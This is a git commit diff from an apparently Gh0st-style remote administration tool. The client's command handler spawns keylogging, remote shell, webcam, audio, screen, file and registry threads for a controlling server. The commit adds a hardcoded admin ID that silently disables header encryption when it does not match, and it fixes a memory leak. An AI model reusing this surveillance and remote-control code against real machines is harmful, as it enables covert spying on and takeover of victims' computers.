layout: Add a function to get master hash

fix: Memory leak when WinOS client login
This commit is contained in:
yuanyuanxiang
2025-07-13 04:37:14 +08:00
parent 41295ca03b
commit b4c2ed236e
9 changed files with 78 additions and 49 deletions

View File

@@ -18,18 +18,18 @@
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
if (conn->protoType == PROTO_TCP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->iHeaderEnc);
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
if (conn->protoType == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_HTTP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->iHeaderEnc);
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
return NULL;
}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
static ThreadInfo tKeyboard;
tKeyboard.run = FOREVER_RUN;
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->iHeaderEnc);
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
tKeyboard.conn = conn;
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
return &tKeyboard;
@@ -303,7 +303,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -342,7 +342,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_hKeyboard) {
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
}
break;
@@ -350,7 +350,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
@@ -358,21 +358,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -400,7 +400,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
@@ -408,35 +408,35 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WEBCAM:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}

View File

@@ -5,6 +5,7 @@
#include <time.h>
#include <assert.h>
#include <stdbool.h>
#include <stdint.h>
#ifdef _DEBUG
#include <stdio.h>
@@ -179,22 +180,25 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
return -1;
}
#pragma pack(push, 4)
struct CONNECT_ADDRESS
{
char szFlag[32];
char szServerIP[100];
char szPort[8];
int iType;
bool bEncrypt;
char szBuildDate[12];
int iMultiOpen;
int iStartup;
int iHeaderEnc;
char protoType;
char runningType;
char szReserved[60];
char pwdHash[64];
char szFlag[32]; // 标识
char szServerIP[100]; // 主控IP
char szPort[8]; // 主控端口
int iType; // 客户端类型
bool bEncrypt; // 上线信息是否加密
char szBuildDate[12]; // 构建日期(版本)
int iMultiOpen; // 支持打开多个
int iStartup; // 启动方式
int iHeaderEnc; // 数据加密类型
char protoType; // 协议类型
char runningType; // 运行方式
char szReserved[52]; // 占位使结构体占据300字节
uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
#pragma pack(pop)
typedef struct PluginParam {
char IP[100];

View File

@@ -9,6 +9,7 @@
#include <numeric>
#include <ctime>
#include <chrono>
#include <assert.h>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
@@ -553,23 +554,25 @@ enum ProtocolEncType {
PROTOCOL_HELL = 1,
};
#pragma pack(push, 4)
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS
{
public:
char szFlag[32];
char szServerIP[100];
char szPort[8];
int iType;
bool bEncrypt;
char szBuildDate[12];
int iMultiOpen;
char szFlag[32]; // <20><>ʶ
char szServerIP[100]; // <20><><EFBFBD><EFBFBD>IP
char szPort[8]; // <20><><EFBFBD>ض˿<D8B6>
int iType; // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bEncrypt; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
char szBuildDate[12]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<28>汾)
int iMultiOpen; // ֧<>ִ򿪶<D6B4><F2BFAAB6><EFBFBD>
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
char szReserved[60]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
char pwdHash[64];
char szReserved[52]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
uint64_t superAdmin; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ID
char pwdHash[64]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ
public:
void SetType(int typ) {
@@ -584,6 +587,15 @@ public:
memcpy(copy.szFlag, flag, strlen(flag));
return copy;
}
void SetAdminId(const char* admin) {
char buf[17] = { 0 };
std::strncpy(buf, admin, 16);
superAdmin = std::strtoull(buf, NULL, 16);
assert(superAdmin == 7057226198541618915);
}
int GetHeaderEncType() const {
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
}
int FlagLen() const {
return strlen(szFlag);
}
@@ -636,6 +648,7 @@ public:
return sizeof(CONNECT_ADDRESS);
}
} CONNECT_ADDRESS ;
#pragma pack(pop)
#define FOREVER_RUN 2

View File

@@ -26,6 +26,11 @@ config& GetThisCfg() {
return *cfg;
}
std::string GetMasterHash() {
static std::string hash(skCrypt(MASTER_HASH));
return hash;
}
/**
* @brief <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ֪BUG<55><47><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹʱ<D6B9><CAB1><EFBFBD>ô˺<C3B4><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* <20><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>dump<6D>ļ<EFBFBD><C4BC><EFBFBD>dumpĿ¼.
@@ -75,7 +80,7 @@ CMy2015RemoteApp::CMy2015RemoteApp()
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
m_Mutex = NULL;
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
srand(static_cast<unsigned int>(time(0)));
@@ -91,7 +96,7 @@ CMy2015RemoteApp theApp;
BOOL CMy2015RemoteApp::InitInstance()
{
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE";
#ifndef _DEBUG
{

View File

@@ -132,6 +132,8 @@ CMy2015RemoteApp* GetThisApp();
config& GetThisCfg();
std::string GetMasterHash();
#define THIS_APP GetThisApp()
#define THIS_CFG GetThisCfg()

View File

@@ -232,7 +232,7 @@ DllInfo* ReadPluginDll(const std::string& filename) {
delete[] buffer;
return nullptr;
}
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
if (offset != -1) {
std::string masterId = GetPwdHash(), hmac = GetHMAC();
@@ -447,7 +447,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
{
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
}
@@ -725,6 +725,7 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
if (!addr.empty()) {
splitIpPort(addr, ip, port);
server->SetServer(ip.c_str(), atoi(port.c_str()));
server->SetAdminId(GetMasterHash().c_str());
}
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
@@ -831,7 +832,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
OnMainExit();
return FALSE;
}
if (GetPwdHash() == std::string(skCrypt(MASTER_HASH))) {
if (GetPwdHash() == GetMasterHash()) {
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
if (hashSHA256(pass) == GetPwdHash()) {
m_superPass = pass;
@@ -883,6 +884,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
if (offset != -1) {
CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
p->SetServer(v->Admin, v->Port);
p->SetAdminId(GetMasterHash().c_str());
p->iType = CLIENT_TYPE_MEMDLL;
memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
m_tinyDLL = MemoryLoadLibrary(data, size);
}
@@ -1068,7 +1071,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
if (!m_superPass.empty()) {
Mprintf(">>> Timer is killed <<<\n");
KillTimer(nIDEvent);
std::string masterHash = std::string(skCrypt(MASTER_HASH));
std::string masterHash = GetMasterHash();
if (GetPwdHash() == masterHash) {
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
@@ -1246,7 +1249,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
}
}
else if (GetPwdHash() != std::string(skCrypt(MASTER_HASH))) {
else if (GetPwdHash() != GetMasterHash()) {
SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
@@ -1444,7 +1447,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) {
if (!isTrail) {
const Validation *verify = GetValidation();
std::string masterHash = skCrypt(MASTER_HASH);
std::string masterHash = GetMasterHash();
if (masterHash != GetPwdHash() && !verify->IsValid()) {
KillTimer(TIMER_CHECK);
MessageBox("此程序已经失效,请联系管理员处理!", "提示", MB_ICONWARNING);
@@ -2517,7 +2520,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
MessageBox("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。"
"\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
}
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
if (m_superPass.empty()) {
CInputDialog pass(this);
pass.Init("主控生成", "当前主控程序的密码:");
@@ -2706,7 +2709,7 @@ void CMy2015RemoteDlg::OnOnlineAuthorize()
pass.Init("需要密码", "当前主控程序的密码:");
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
return;
@@ -2795,7 +2798,7 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize()
pass.Init("需要密码", "当前主控程序的密码:");
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
std::string masterHash(skCrypt(MASTER_HASH));
std::string masterHash(GetMasterHash());
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
return;

View File

@@ -149,6 +149,7 @@ void CBuildDlg::OnBnClickedOk()
}
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();

View File

@@ -62,7 +62,7 @@ bool WritePwdHash(char* target, const std::string & pwdHash, const Validation& v
bool IsPwdHashValid(const char* hash) {
const char* ptr = hash ? hash : g_MasterID;
if (ptr == std::string(skCrypt(MASTER_HASH)))
if (ptr == GetMasterHash())
return true;
std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4);
char output32[33], output4[5];

View File

@@ -479,6 +479,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
if (m_NotifyProc(ContextObject))
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
SAFE_DELETE_ARRAY(CompressedBuffer);
break;
}